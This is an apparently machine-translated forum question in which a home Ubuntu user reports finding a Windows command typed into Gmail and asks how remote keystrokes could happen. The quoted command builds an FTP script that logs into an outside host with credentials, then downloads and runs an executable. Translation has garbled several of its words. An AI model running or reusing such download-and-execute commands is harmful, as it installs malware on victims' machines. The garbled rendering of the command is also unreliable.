Mój domowy komputer jest zwykle włączony, ale monitor jest wyłączony. Tego wieczoru wróciłem do domu z pracy i znalazłem coś, co wygląda na próbę włamania: w mojej przeglądarce mój Gmail był otwarty (to byłem ja), ale był w trybie tworzenia z następującymi w TO
polu:
md / c echo otwórz cCTeamFtp.yi.org 21 >> ik & echo user ccteam10 765824 >> ik & echo binary >> ik & echo get svcnost.exe >> ik & echo bye >> ik & ftp -n -v -s: ik & del ik & svcnost.exe i echo wyjścia Masz własność
Dla mnie wygląda to na kod wiersza poleceń systemu Windows, a md
początek kodu w połączeniu z faktem, że Gmail był w trybie tworzenia, pokazuje, że ktoś próbował uruchomić cmd
polecenie. Myślę, że miałem szczęście, że tak naprawdę nie uruchamiam Windowsa na tym komputerze, ale mam inne. To pierwszy raz, kiedy coś takiego mi się przytrafiło. Nie jestem guru Linuksa i wtedy nie korzystałem z innych programów poza Firefoksem.
Jestem absolutnie pewien, że tego nie napisałem i nikt inny nie był fizycznie przy moim komputerze. Ponadto ostatnio zmieniłem moje hasło Google (i wszystkie inne moje hasła) na coś podobnego, vMA8ogd7bv
więc nie sądzę, aby ktoś włamał się na moje konto Google.
Co się stało? Jak ktoś naciska klawisze na moim komputerze, kiedy to nie stara maszyna Windows babci od lat uruchamia złośliwe oprogramowanie, ale ostatnia nowa instalacja Ubuntu?
Aktualizacja:
Pozwól, że zajmę się niektórymi punktami i pytaniami:
- Jestem w Austrii, na wsi. Mój router WLAN obsługuje WPA2 / PSK i hasło o średniej sile, którego nie ma w słowniku; musiałby być brutalny i oddalony o mniej niż 50 metrów; jest mało prawdopodobne, że został zhakowany.
- Używam przewodowej klawiatury USB, więc ponownie bardzo mało prawdopodobne, aby ktokolwiek mógł być w zasięgu, aby ją zhakować.
- Nie korzystałem wtedy z komputera; po prostu byłem bezczynny w domu, kiedy byłem w pracy. To komputer stacjonarny z monitorem, więc rzadko go wyłączam.
- Maszyna ma tylko dwa miesiące, działa tylko na Ubuntu i nie używam dziwnego oprogramowania ani nie odwiedzam dziwnych stron. To głównie Stack Exchange, Gmail i gazety. Brak gier. Ubuntu jest na bieżąco.
- Nie znam żadnej działającej usługi VNC; Na pewno nie zainstalowałem ani nie włączyłem. Nie uruchomiłem także żadnych innych serwerów. Nie jestem pewien, czy jakieś są domyślnie uruchomione w Ubuntu?
- Znam wszystkie adresy IP związane z aktywnością konta Gmail. Jestem całkiem pewien, że Google nie był wejściem.
- Znalazłem Przeglądarkę plików dziennika , ale nie wiem, czego szukać. Wsparcie?
To, co naprawdę chcę wiedzieć, i co naprawdę sprawia, że czuję się niebezpiecznie, to: w jaki sposób każdy z Internetu może generować naciśnięcia klawiszy na moim komputerze? Jak mogę temu zapobiec, nie będąc w tym wszystkim cynobrowym kapeluszem? Nie jestem maniakiem Linuksa, jestem ojcem, który ma problemy z Windows od ponad 20 lat i mam tego dość. Przez ponad 18 lat bycia online nigdy osobiście nie widziałem żadnej próby włamania, więc jest to dla mnie nowość.
password
:-)